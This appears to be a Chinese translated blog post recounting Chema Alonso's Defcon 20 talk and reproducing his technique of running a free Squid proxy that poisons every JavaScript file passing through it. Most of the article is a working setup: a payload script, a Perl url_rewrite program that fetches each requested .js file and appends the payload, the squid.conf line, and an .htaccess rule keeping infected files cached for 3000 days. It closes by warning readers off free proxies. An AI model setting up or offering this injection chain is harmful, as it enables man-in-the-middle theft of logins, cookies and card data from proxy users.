【伯乐在线注】:原文副标题是“因为这是一种轻松搞到成千上万用户数据的途径”,作者后来还写了一篇文章《分析了443个免费代理,其中只有21%没有黑幕,那么剩下的79%呢?》。
最近偶然发现, Chema Alonso 在 Defcon 20 会议上谈到他如何从头开始创建一个JavaScript 僵尸网络,然后如何使用它来找到骗子和黑客。
一切都是通过一个 SQUID 代理并修改了些小配置完成的。
这个想法非常简单:
1.【服务器】在一台 linux 服务器上安装 Squid
2.【Payload】修改服务器配置,给所有传输的 javascript 文件插入一些代码,这些代码的作用就是将用户数据传送到你的服务器上,比如用户在表单中输入的所有数据。
3.【缓存】将修改过的 js 文件的缓存时间尽可能延长。
目录
可能发生最坏的事情是什么?
当某人能强迫你加载一个受感染的 js 文件, 那他们可以:
窃取你访问的网站的登录信息(从登录表单中或 cookies)
窃取你的银行账号或信用卡信息
强迫你参与 DDOS 攻击,让你的浏览器一秒钟内加载一个网站几百次,通过 iframe 或 script(脚本)来发送请求。
基本你上网做的任何事情都能看到(包括你阅读时鼠标的位置)
https
如果你的网站加载了一些不安全的资源(比如从一个 http 站点加载 jquery),那该手法在 https 链接上也能生效。大多数浏览器都会提醒你,有些甚至会阻止你访问不安全的内容,但是没有人注意到浏览器地址栏中“锁”的符号。
举个例子安全:
不安全:
在介绍中,Chema 说他将修改过的服务器 IP 地址发布到网络上,几天后就有 5000 多人使用这个代理。大多数使用代理的人都是为了做坏事,因为他们都知道使用了代理在网络上就变成匿名了,似乎许多人都没有考虑过这个问题:代理同样也可以对他们做一些坏事。
我在想是不是真的那么简单,所以我建了一个运行 Debian(Linux的一个发行版) 的虚拟机,然后努力实现这些概念。
编写自己的 js 来感染代理
假设你有一个运行 squid 的代理,同时你还需要一个网站服务器,如使用 /var/www 为根目录(默认设置)的 Apache 服务器。
步骤1:创建一个 payload
我打算用一个简单的脚本获取网页上所有的链接,然后将 href(链接) 属性改写成我的站点。
/etc/squid/payload.js
for(var i=0;i<document.getElementsByTagName(a).length;i++)
document.getElementsByTagName(a)[i].href = "";
步骤2:将脚本注入所有请求的 js 文件中。
/etc/squid/poison.pl
#!/usr/bin/perl
$|=1;
$count = 0;
$pid = $$;
while(<>)
{
chomp $_;
if($_ =- /(.*.js)/i)
{
$url = $1;
system("/usr/bin/wget","-q","-O","/var/www/tmp/$pid-$count.js","$url");
system("chmod o+r /var/www/tmp/$pid-$count.js");
system("cat /etc/squid/payload.js >> /var/www/tmp/$pid-$count.js");
print ":80/tmp/$pid-$count.jsn";
}
else
{
print "$_n";
}
$count++;
}
这个脚本会用 wget 检索到客户端请求的原来的 javascript 文件,然后将 /etc/squid/payload.js 文件中的代码增加进去。这个修改的文件(包含我们的有效负载)将被发送给客户端。你也可以创建文件夹 /var/www/tmp ,然后允许 squid 在该文件夹中写入。这个文件夹可以存放所有被修改过的 js 脚本。
步骤3:告诉 Squid 使用上文中的脚本
在 /etc/squid/squid.conf 中添加
url_rewrite_program /etc/squid/poison.pl
步骤4:让缓存永不过期
/var/www/tmp/.htaccess
ExpiresActive On
ExpiresDefault "access plus 3000 days"
这几行告诉 apache 服务器,设置一个疯狂的过期(缓存)时间,所以它会一直存在用户的浏览器中,直到他们清除缓存或 cookies。
重启下 squid 就能运行了。如果你连接到代理上,然后浏览网页,网页会显示预期的内容,但是所有的链接会被指向这个博客。这项技术更猥琐的是,当你断开了与代理的连接,从代理缓存的 js 文件仍存在浏览的缓存中。
在我的例子中 payload 不太具有破坏性,用户很快就能理解什么是“钓鱼”,但是富有创造性的 payload 或像 Beef 类似的框架就能被用来实现各种各样的东西。告诉你的朋友们,绝不要使用免费的代理,因为许多代理就做这些坏事情。
安全上网(但不要使用免费的代理)
文章来源伯乐在线
---------------------------
SOBUG 一个连接安全专家与厂商的网络安全众测平台
:sobugs
新浪微博:@Sobug众测平台